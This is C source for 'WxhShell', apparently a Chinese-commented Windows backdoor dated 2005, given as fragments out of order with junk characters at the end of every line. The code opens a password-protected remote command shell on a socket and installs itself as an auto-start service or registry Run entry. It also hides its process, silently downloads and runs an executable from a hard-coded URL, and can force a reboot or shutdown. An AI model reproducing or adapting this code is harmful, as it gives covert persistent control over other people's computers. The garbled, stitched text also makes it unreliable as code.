    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); >BR(Wd.  
    if(Boot(SHUTDOWN)) -[ *,^Ti`  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ]e"=$2d$  
    else { ~bM4[*Q7  
    closesocket(wsh); =e/9&993  
    ExitThread(0); *]ly0nP  
    } IpINH3odT  
    break; q!{y&.&\  
    } Ttu2skcv  
  // 获取shell **w!CaqvY  
  case 's': { 2KB\1&N  
    CmdShell(wsh); 09X01X[  
    closesocket(wsh); H{@Yo\J  
    ExitThread(0); bx#>BK!  
    break; \l'm[jy>  
  } y~Bh  
  // 退出 3C?f(J}  
  case 'x': { 5m*iE*+  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); m;H.#^b*  
    CloseIt(wsh); (_niMQtF}  
    break; K{x\4  
    } w,.+IV$Kk  
  // 离开 Y'c>:;JEe  
  case 'q': { HKU~UTRnZ  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); sNj)ZWgd>  
    closesocket(wsh); T_i:}ul  
    WSACleanup(); Y#!UPhg<  
    exit(1); UR%/MV  
    break; ?^H `M|S  
        } gD,1 06%  
  } DwaBdN[!7  
  } Of- Rx/  
G^~k)6v=m  
  // 提示信息 Z,RzN5eN  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); I~q#eO)  
} MC?,UDNd%  
  } $&y%=-]|  
k&&2Tq  
  return; I CZ4 A{I  
} 5A%w 8Qv  
m`v2: S}  
// shell模块句柄 QP@%(]fG  
int CmdShell(SOCKET sock) )` SE S."  
{ W 0(_ ~  
STARTUPINFO si; E%+Dl=  
ZeroMemory(&si,sizeof(si)); Wl;.%.]>  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; TMAJb+@l:  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ST2.:v;lb  
PROCESS_INFORMATION ProcessInfo; k >F'ypm  
char cmdline[]="cmd"; U1@IX4^2`  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ,LTH;<zB)  
  return 0; CAWA3fcQp  
} JIOh#VNU  
nA?`BOe(  
// 自身启动模式 8MK>)P o)  
int StartFromService(void) nIAx2dh?  
{ &K[_J  
typedef struct #,S0HDDHn  
{ a#^B2  
  DWORD ExitStatus; Mx6@$tQ%  
  DWORD PebBaseAddress; /d0K7F  
  DWORD AffinityMask; t2EHrji~  
  DWORD BasePriority; I'\kFjc  
  ULONG UniqueProcessId; @xQgY*f#  
  ULONG InheritedFromUniqueProcessId; ` BDLW%aL  
}   PROCESS_BASIC_INFORMATION; L=c!:p|7)  
.9,zL=)Ba  
PROCNTQSIP NtQueryInformationProcess; `k OD[*  
Yb:\a/ y  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; $h^wG)s2P  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ~oI1 zNz/  
WF2}-NU"  
  HANDLE             hProcess; qgE 73.!`6  
  PROCESS_BASIC_INFORMATION pbi; ^=C{.{n  
7bqBk,`9  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); if}-_E<F  
  if(NULL == hInst ) return 0; e .]KL('  
_=+V/=  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); z|=}1; (.  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); =3|O %\  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); #@^t;)|  
"Weg7mc#  
  if (!NtQueryInformationProcess) return 0; aJYgzr,  
I*LknU@  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); I3 .x9  
  if(!hProcess) return 0; !O-T0O   
NxjB/N  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; `^bgUmJ~  
Dpvk\t  
  CloseHandle(hProcess); !g Z67  
/3A^I{e74  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); d_4T}% q  
if(hProcess==NULL) return 0; ~3WM5 fv  
j2Tr $gx<  
HMODULE hMod; f-}[_Y%;  
char procName[255]; ]GN7+ 8l  
unsigned long cbNeeded; EG0WoUX|  
$"0MU  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); HHiT]S9  
=g/{%;  
  CloseHandle(hProcess); ?z}=B  
f:ZAG4B  
if(strstr(procName,"services")) return 1; // 以服务启动 v[#9+6P=  
XpmS{nb  
  return 0; // 注册表启动 {S,l_d+(  
} dlJbI}-v=  
[!}:KD2yX  
// 主模块 +6UVn\9Q  
int StartWxhshell(LPSTR lpCmdLine) /3e KN  
{ \zieyE  
  SOCKET wsl; GKvN* SU=  
BOOL val=TRUE; d@ Y}SWTB  
  int port=0; 1"/He ` 4  
  struct sockaddr_in door; Ynp{u`?  
AK\$i$@6  
  if(wscfg.ws_autoins) Install(); AFc$%\s4  
T32+3wb"I  
port=atoi(lpCmdLine); _/Gczy4)#  
vr0WS3  
if(port<=0) port=wscfg.ws_port; a["2VY6Eq@  
]4h92\\965  
  WSADATA data; S|apw7C  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ^xh}I5  
g)s{ IAVx  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   }:u~K;O87  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); v z^<YZMu  
  door.sin_family = AF_INET; !PrwH;  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 0G7K8`a  
  door.sin_port = htons(port); 2P/K K  
VYt!U  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Fx5d:!]:$?  
closesocket(wsl); %^I88,$&L  
return 1; eFpTW&9n  
} Jrg2/ee,*  
2zVJvn7  
  if(listen(wsl,2) == INVALID_SOCKET) { Z9575CI<  
closesocket(wsl); BT)X8>ct  
return 1; .so[I  
} Vs%|pIV  
  Wxhshell(wsl); HPb]Zj  
  WSACleanup(); +n<k)E@>J  
0Z0:,!  
return 0; ,z;ky5Ct  
?[)}l9  
} = M]iIWQ@`  
OE4+GI.r-  
// 以NT服务方式启动 (FJ9-K0b{n  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 5aln>1x>hn  
{ a@\D$#2r  
DWORD   status = 0; %]I ZLJ  
  DWORD   specificError = 0xfffffff; bYi`R)  
AC;V m: @{  
  serviceStatus.dwServiceType     = SERVICE_WIN32; _)]+hUw Y  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; Qu} W/j|3  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; =JKv:</.G  
  serviceStatus.dwWin32ExitCode     = 0; HsnLm67'  
  serviceStatus.dwServiceSpecificExitCode = 0; dn }`i  
  serviceStatus.dwCheckPoint       = 0; {dL?rQ>5L  
  serviceStatus.dwWaitHint       = 0; $ &P >r  
lY{FSGp  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); {_Lg tu  
  if (hServiceStatusHandle==0) return; RjWqGr;bO  
6I!7c^]t  
status = GetLastError(); >m# e:[N  
  if (status!=NO_ERROR) Ux#x#N  
{ :^Fh!br==  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; D K=cVpN%s  
    serviceStatus.dwCheckPoint       = 0; 4#5:~M }  
    serviceStatus.dwWaitHint       = 0; +,yK;^b  
    serviceStatus.dwWin32ExitCode     = status; om |"S  
    serviceStatus.dwServiceSpecificExitCode = specificError; ?W0)nQU  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); rHf&:~   
    return; !!4Qj  
  } @FC"nM  
wWSdTLX  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; zfc3)7  
  serviceStatus.dwCheckPoint       = 0; b:R-mg.VT{  
  serviceStatus.dwWaitHint       = 0; ovwQ2TuK  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); A8q;q2  
} H-3Eo#b#  
[tg^GOf '  
// 处理NT服务事件,比如:启动、停止 m$9w"8R  
VOID WINAPI NTServiceHandler(DWORD fdwControl) Q2A7mGN  
{ /sr2mt-Q  
switch(fdwControl) H*bs31i{  
{ q~@]W=  
case SERVICE_CONTROL_STOP: 70lfb`  
  serviceStatus.dwWin32ExitCode = 0;  Y!WG)u5  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; nOQa_G]Gz  
  serviceStatus.dwCheckPoint   = 0; F  q!fWl  
  serviceStatus.dwWaitHint     = 0; 6Z`R#d #I  
  { gJ;_$`  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ^/5XZ} *  
  } FSRm|  
  return; h'$QC )P  
case SERVICE_CONTROL_PAUSE: P_c,BlfGMH  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; gtYAHi  
  break; 557(EM  
case SERVICE_CONTROL_CONTINUE: R/^u/~<  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; (mtoA#X1:h  
  break; mKT>,M  
case SERVICE_CONTROL_INTERROGATE: 2kv7UU#q2  
  break; H33i*][H  
}; -!0_:m3  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); * ,v|y6  
} q %0Cg=  
6YuY|JD  
// 标准应用程序主函数 \m=?xb8 f  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) `MEYd U1  
{ }n7t h  
w_ {,<[#  
// 获取操作系统版本 8 4i_k  
OsIsNt=GetOsVer(); ;Nr]X  
GetModuleFileName(NULL,ExeFile,MAX_PATH); P]i =r] i  
QRLJ_W^&u  
  // 从命令行安装 "lNzGi-H  
  if(strpbrk(lpCmdLine,"iI")) Install(); +3i7D  
pG^}Xf2a  
  // 下载执行文件 |3+m%;X  
if(wscfg.ws_downexe) { XhdSFxW}  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) CSV;+,Vv  
  WinExec(wscfg.ws_filenam,SW_HIDE); tRw@U4=y  
} ^v9|%^ug  
ES<{4<Kpx  
if(!OsIsNt) { okq[ o90  
// 如果时win9x,隐藏进程并且设置为注册表启动 ;WT{|z  
HideProc(); +%N KQ'49I  
StartWxhshell(lpCmdLine); [!^-J}^g~\  
} G5D2oQa=8  
else =2y8 CgLj  
  if(StartFromService()) #'OaKt?Z)  
  // 以服务方式启动 mL~z~w*s  
  StartServiceCtrlDispatcher(DispatchTable); 3`HnLD/  
else DWt*jX*  
  // 普通方式启动 NZu)j["  
  StartWxhshell(lpCmdLine); ?zq+jLyo  
vRA',(](  
return 0; 9Q W&$n^  
} #JA}3]  
# x>ga  
^*R(!P^  
5&CDHc7Oj  
=========================================== E)ugLluL  
+Ra3bjl  
+VEU:1Gt  
W[NEe,.>  
J NC  
8_uzpeRhJc  
" w W$(r-  
!c<wS Q,  
#include <stdio.h> 5;)*T6Y  
#include <string.h> ,/&Zw01dGN  
#include <windows.h> tJ& 5tNl  
#include <winsock2.h> b'x$2K;E  
#include <winsvc.h> o%M<-l"!/  
#include <urlmon.h> m:`@?n~..  
Mo|wME#M  
#pragma comment (lib, "Ws2_32.lib") ]*%+H|l  
#pragma comment (lib, "urlmon.lib") ned2lC&'d>  
myQ&%M gx  
#define MAX_USER   100 // 最大客户端连接数 3+OsjZ  
#define BUF_SOCK   200 // sock buffer p4X{"Z\mn  
#define KEY_BUFF   255 // 输入 buffer sCH)gr@gJ^  
N4^5rrkL  
#define REBOOT     0   // 重启 #y"=Cz=1u7  
#define SHUTDOWN   1   // 关机 N:+ taz-  
Mxz,wfaH>  
#define DEF_PORT   5000 // 监听端口 ['X[qn  
Y'"N"$n'_  
#define REG_LEN     16   // 注册表键长度 V*jsq[q=  
#define SVC_LEN     80   // NT服务名长度 X=p"5hhfn  
pe04#zQK  
// 从dll定义API ,8K'F  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); S0@T0y#  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ;q#]-^  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); : iY$82wQ  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); )c tr"&-  
Jj"HpK>[  
// wxhshell配置信息 J?712=9  
struct WSCFG { z[!x:# q8`  
  int ws_port;         // 监听端口 =fG:A(v%}  
  char ws_passstr[REG_LEN]; // 口令 !G=>ve  
  int ws_autoins;       // 安装标记, 1=yes 0=no !Rw&DFU  
  char ws_regname[REG_LEN]; // 注册表键名 ^)\+l%M  
  char ws_svcname[REG_LEN]; // 服务名 SN]LeXesS  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 -l*A  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 F&@|M(  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 yqcM(,0]  
int ws_downexe;       // 下载执行标记, 1=yes 0=no o'UHStk  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" CvTwBJy1  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 -}<g-*m"q  
^Vo"fI`=C  
}; fD6GQ*  
*6*-WV6  
// default Wxhshell configuration ( tn< VK.  
struct WSCFG wscfg={DEF_PORT, J|j;g!fK  
    "xuhuanlingzhe", v}`1)BUeF  
    1, #( uj$[o  
    "Wxhshell", o~~9!\  
    "Wxhshell", P/ aDd@j  
            "WxhShell Service", dB)9K)  
    "Wrsky Windows CmdShell Service", YN#XmX%  
    "Please Input Your Password: ", B_~jA%0m'  
  1, rWr/p^~  
  "http://www.wrsky.com/wxhshell.exe", Vipp /WV  
  "Wxhshell.exe" !J# .!}3  
    }; T|+$@o  
R+Lk~X^*l'  
// 消息定义模块 TG]}X\c+V|  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; dQ6GhS ~  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 'G Y/Q5  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; $c9=mjwH  
char *msg_ws_ext="\n\rExit."; qy9i9$8  
char *msg_ws_end="\n\rQuit."; `vEqj v  
char *msg_ws_boot="\n\rReboot..."; ADBpX>  
char *msg_ws_poff="\n\rShutdown..."; PW^ 8;[\QP  
char *msg_ws_down="\n\rSave to "; +S0u=u65  
#~e9h9  
char *msg_ws_err="\n\rErr!"; B(Y.`L? %E  
char *msg_ws_ok="\n\rOK!"; 5mIXyg 0:  
\_>?V5(  
char ExeFile[MAX_PATH]; `]&*`9IK{  
int nUser = 0; g< )72-h  
HANDLE handles[MAX_USER]; r#I>_Utsy  
int OsIsNt; =LqL@5Xr  
v>:=w|.HC  
SERVICE_STATUS       serviceStatus; m+7`\|`jQ  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; U#"WrWj  
z5ZKks   
// 函数声明 id4]|jb  
int Install(void);  2$)mC9  
int Uninstall(void); x Ty7lfSe  
int DownloadFile(char *sURL, SOCKET wsh); u#!GMZJN  
int Boot(int flag); ;"SZ}  
void HideProc(void); LV\ieM  
int GetOsVer(void); >F|qb*Tm7  
int Wxhshell(SOCKET wsl); /Mx.:.A&$  
void TalkWithClient(void *cs); A`Q >h{  
int CmdShell(SOCKET sock); BDp:9yau  
int StartFromService(void); #AvEH=:  
int StartWxhshell(LPSTR lpCmdLine); r hZQQOQ  
{70 Ou}*  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 3FuCW  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 0QMaM  
*{Yi}d@h(  
// 数据结构和表定义 qkiJ HT  
SERVICE_TABLE_ENTRY DispatchTable[] = 3Mxz_~  
{ p&QmIX]BZ  
{wscfg.ws_svcname, NTServiceMain}, unJ iE!  
{NULL, NULL} avV mY|I  
}; {9Db9K^  
EZ*t$3.T  
// 自我安装 sl%#u9r=  
int Install(void) K,G,di  
{ ` %l&zwj>  
  char svExeFile[MAX_PATH]; TG4^_nRl  
  HKEY key; A%P 8c  
  strcpy(svExeFile,ExeFile); -ywX5B  
8F\~Wz7K  
// 如果是win9x系统,修改注册表设为自启动 #gF2(iK6  
if(!OsIsNt) { xSx&79Ez<*  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Z 4\tY^NI  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); %l%=Dkss  
  RegCloseKey(key); 7KeXWW/d  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ZMP?'0h=  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); j/~VP2R`  
  RegCloseKey(key); 'w'Dwqhmr  
  return 0; ,eyp$^2  
    } a^%8QJW  
  } -<]\l3E&J  
} cO8`J&EK  
else { yB 1I53E  
}Q,(u   
// 如果是NT以上系统,安装为系统服务 M\9at\$  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ;_>s0rUV  
if (schSCManager!=0) /]pX8 d  
{ mgk64}K[n  
  SC_HANDLE schService = CreateService #8S [z5 `  
  ( & 8ccrw  
  schSCManager, n'! -Pv  
  wscfg.ws_svcname, N9`y,Cos0  
  wscfg.ws_svcdisp, }~myf\$  
  SERVICE_ALL_ACCESS, ] ,!\IqO  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , >|v=Ba6R0  
  SERVICE_AUTO_START, C<zx'lw!  
  SERVICE_ERROR_NORMAL, (PRaiE  
  svExeFile, 0Ei\VVK>  
  NULL, eUX@9eML  
  NULL, 7~nIaT  
  NULL, ju8',ZC  
  NULL, QBg}2.  
  NULL ; :v]NZtc  
  ); i)A`Vpn  
  if (schService!=0) {KF7j63  
  { ;m-6.AV  
  CloseServiceHandle(schService); !O 0ZD4/{4  
  CloseServiceHandle(schSCManager); \DG( 8l  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); Se!gs>  
  strcat(svExeFile,wscfg.ws_svcname); U'JP1\  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { -0=}|$H.  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 6|Ba  
  RegCloseKey(key); :6\-9m8JM  
  return 0; aL_;`@4  
    }  9OrA9r  
  } },?-$eyX  
  CloseServiceHandle(schSCManager); @ef//G+Z"  
} ^N*pIVLC  
} `D&#U'wB   
N[|by}@n  
return 1; GV `idFd  
} X=S}WKu  
}w|=c >'_}  
// 自我卸载 O3sla bE#  
int Uninstall(void) Y{x[N}h  
{ jgZX ~D  
  HKEY key; g7E`;&f  
$6 Q2)^LJ  
if(!OsIsNt) { C9"f6>i  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ND)M3qp2(  
  RegDeleteValue(key,wscfg.ws_regname); IdN%f]=/  
  RegCloseKey(key); MSxU>FX0  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ;iwD/=Y  
  RegDeleteValue(key,wscfg.ws_regname); g/n"N>L  
  RegCloseKey(key); HbJadOK  
  return 0; .{-iq(3  
  } AOvH&9**  
} @n ~ND).  
} Px^<2Q%Fs  
else { DcFV^8O&  
(>)+;$Dr,\  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ]9~#;M%1  
if (schSCManager!=0) $AL|d[[T[  
{ s525`Q;  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 6w .iEb  
  if (schService!=0) !Cv<>_N).  
  { [\ w>{  
  if(DeleteService(schService)!=0) { =:0IHyB#0  
  CloseServiceHandle(schService); 37za^n?SG  
  CloseServiceHandle(schSCManager); 5u=U--  
  return 0; @/ovdf{  
  } *Kp ^al  
  CloseServiceHandle(schService); m-pIFL<^N  
  } /fcwz5~  
  CloseServiceHandle(schSCManager); aV92.Z_Ku  
} u0$5Fd&X  
} %Tm' aY"  
z<C~DH  
return 1; !UPAEA  
} p_kTLNZd9  
:;gwdZ  
// 从指定url下载文件 )I0g&e^Tzy  
int DownloadFile(char *sURL, SOCKET wsh) KcMzZ!d7m  
{ K`AW?p^$Y  
  HRESULT hr; H"Em|LX^  
char seps[]= "/"; I?xhak1)lu  
char *token; KTS7)2ci  
char *file; jl ?y}  
char myURL[MAX_PATH]; s t3]Yy  
char myFILE[MAX_PATH]; S3[oA&  
epm8N /  
strcpy(myURL,sURL); {Ac3/UM/  
  token=strtok(myURL,seps); J1wGK|F~  
  while(token!=NULL) ;kcFQed\w  
  { { N8rZ[Oo  
    file=token; ?eZ"UGZg'  
  token=strtok(NULL,seps); 9cHNwgD>v  
  } 1,sO =p)Yg  
@x\gk5  
GetCurrentDirectory(MAX_PATH,myFILE); .~/;v~bL  
strcat(myFILE, "\\"); [+5SEr}  
strcat(myFILE, file); E"vi+'(v  
  send(wsh,myFILE,strlen(myFILE),0); '"NdT7*+  
send(wsh,"...",3,0); "\P~Re"EH  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); =dJEcC_J  
  if(hr==S_OK) N_~Wu  
return 0; Tlv|To  
else Vf* B1Zb  
return 1; L&F\"q9q71  
UmHb-uk ;  
} G;.u>92r|  
!EC\1rmdlN  
// 系统电源模块 o3`gx  
int Boot(int flag) (%^TTe  
{ a}8>(jtSt  
  HANDLE hToken; pPqbD}p  
  TOKEN_PRIVILEGES tkp; 3R96;d;  
j-\^ }K.&  
  if(OsIsNt) { Vam8NnZ|r  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); E~U|v'GCd  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); D}C*8s bC}  
    tkp.PrivilegeCount = 1; A&|(%  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; K0bmU(Xxp  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); h3 ZL0Fi*  
if(flag==REBOOT) { J};,%q_  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) j;c ^pLUP  
  return 0; i}12mjF  
} q>h+Ke  
else { krT!AfeV  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) jT_Tx\k  
  return 0; )HiTYV)]'  
} v8M#%QoA  
  } 9!<3qx/  
  else { Q#AHEm{9;s  
if(flag==REBOOT) { T_ #oMXZ/  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) {@`Uf;hPAX  
  return 0; >TVd*S  
} :re(khZq#  
else { `SpS?mWA  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) `9NnL.w!  
  return 0; bGLp0\0[  
}  PW\FcT  
} 4C*=8oe_  
P_Ja?)GT  
return 1; 4E94W,1%,Y  
} = nN*9HRD  
Fi}rv[`XY[  
// win9x进程隐藏模块 nFn`>kQ  
void HideProc(void) #GJh:#tt^  
{ =f|a?j,f~  
6XU5T5+P^  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); )SLs  [  
  if ( hKernel != NULL ) +Enff0 =+  
  { }Elce}  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); p-Btbhv  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); o\gQYi   
    FreeLibrary(hKernel); !d )i6W?  
  } ^%^0x'"  
v%Xe)D   
return; N/=3Bs0y-  
} k"c_x*f  
"|rqt.f2[  
// 获取操作系统版本 3S?+G)qKo  
int GetOsVer(void) {P+[C O  
{ Wg&:xff  
  OSVERSIONINFO winfo; 7mBL#T2   
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 9mm(?O~'p  
  GetVersionEx(&winfo); SsZzYj.d  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) CB1u_E_  
  return 1; /L^dHI]Q  
  else R MXj)~4.  
  return 0; !}7m^  
} tTt~W5lo  
}IL@j A  
// 客户端句柄模块 _Ohq'ZgXm  
int Wxhshell(SOCKET wsl) eW%jDsC  
{ 1L7,x @w  
  SOCKET wsh; U4JN,`p{  
  struct sockaddr_in client; i/z7a%$   
  DWORD myID; ,,gYU_V  
P $S P4F  
  while(nUser<MAX_USER) rJ>8|K[kt  
{ o5uwa{v  
  int nSize=sizeof(client); H_^c K  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); WTx;,TNG  
  if(wsh==INVALID_SOCKET) return 1; ;*p} ~#2  
f -5ZXpWs'  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); #4>F%_  
if(handles[nUser]==0) Ok!{2$P8U9  
  closesocket(wsh); w0iE x1i  
else KMZ`Wn=  
  nUser++; DP_\%(A  
  } @$]h[   
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); =_Rd0,  
2_Z6 0]  
  return 0; )SuJK.IF  
} 4tjRju?  
c/RG1w  
// 关闭 socket mf#oa~_  
void CloseIt(SOCKET wsh) 65v'/m!ys  
{ 4p.O<f;A8  
closesocket(wsh); RiklwR#~r/  
nUser--; ff0,K#-  
ExitThread(0); 0/$sr;  
} @Klj!2cv$  
& BkNkb0  
// 客户端请求句柄 K4"as9oFP  
void TalkWithClient(void *cs) H@zpw1fH+  
{ `m5iZxhw  
AO6;aT  
  SOCKET wsh=(SOCKET)cs; Zh@\+1]  
  char pwd[SVC_LEN]; <9"i_d%  
  char cmd[KEY_BUFF]; <OUAppH  
char chr[1]; {<@~;iq  
int i,j; <IYt*vlm  
e(Ve rd:c  
  while (nUser < MAX_USER) { \ iFE,z  
4J  s>yP  
if(wscfg.ws_passstr) { JsV#:  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); #!2gxm;g  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); $a G'.0HW  
  //ZeroMemory(pwd,KEY_BUFF); Rd2[xk  
      i=0; E] [DVY  
  while(i<SVC_LEN) { 0*q:p`OLw*  
N`M5`=.  
  // 设置超时 ;.Kzc3yz}  
  fd_set FdRead; MmX42;Pw  
  struct timeval TimeOut; 3]'3{@{} H  
  FD_ZERO(&FdRead); ^JTfRZ :a  
  FD_SET(wsh,&FdRead);  6?6 u  
  TimeOut.tv_sec=8; k@w&$M{tPF  
  TimeOut.tv_usec=0; 0t) IW D  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); PSRGlxdO  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); V1ug.Jv^  
+"<f22cS1  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); nJ,56}  
  pwd=chr[0]; ,"D1!0  
  if(chr[0]==0xd || chr[0]==0xa) { ~Sh}\&3p  
  pwd=0; pH4i6B*5  
  break; \1tce`+  
  } p'H5yg3h  
  i++; `]%{0 Rx  
    } U}UIbJD*=  
uuq?0t2Z  
  // 如果是非法用户,关闭 socket 3}"VUS0wh  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 4o%hH  
} \UXQy{Ex  
zIQ\ _>  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); qB8<(vBP+  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); z.QW*rW9  
&P\T{d2"  
while(1) { n44j]+P  
5vS'Qhc  
  ZeroMemory(cmd,KEY_BUFF); Q[}mH: w  
C4b3ZcD2  
      // 自动支持客户端 telnet标准   6ds&n#n  
  j=0; 0hPm,H*Y]  
  while(j<KEY_BUFF) { +ux,cx.U"  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); a+ ]@$8+  
  cmd[j]=chr[0]; vZ*5 93C8  
  if(chr[0]==0xa || chr[0]==0xd) { EB)0 iQ  
  cmd[j]=0; M,l Ib9  
  break; " I:j a7  
  } \wTW hr0  
  j++; HbCM{A9  
    } `LNRl'Z m  
<}|+2f233+  
  // 下载文件 : G<1   
  if(strstr(cmd,"http://")) { >ztv3^w  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); T,k`WR  
  if(DownloadFile(cmd,wsh)) [~$9n_O94  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); `2GHB@S"k  
  else X.g1 312~  
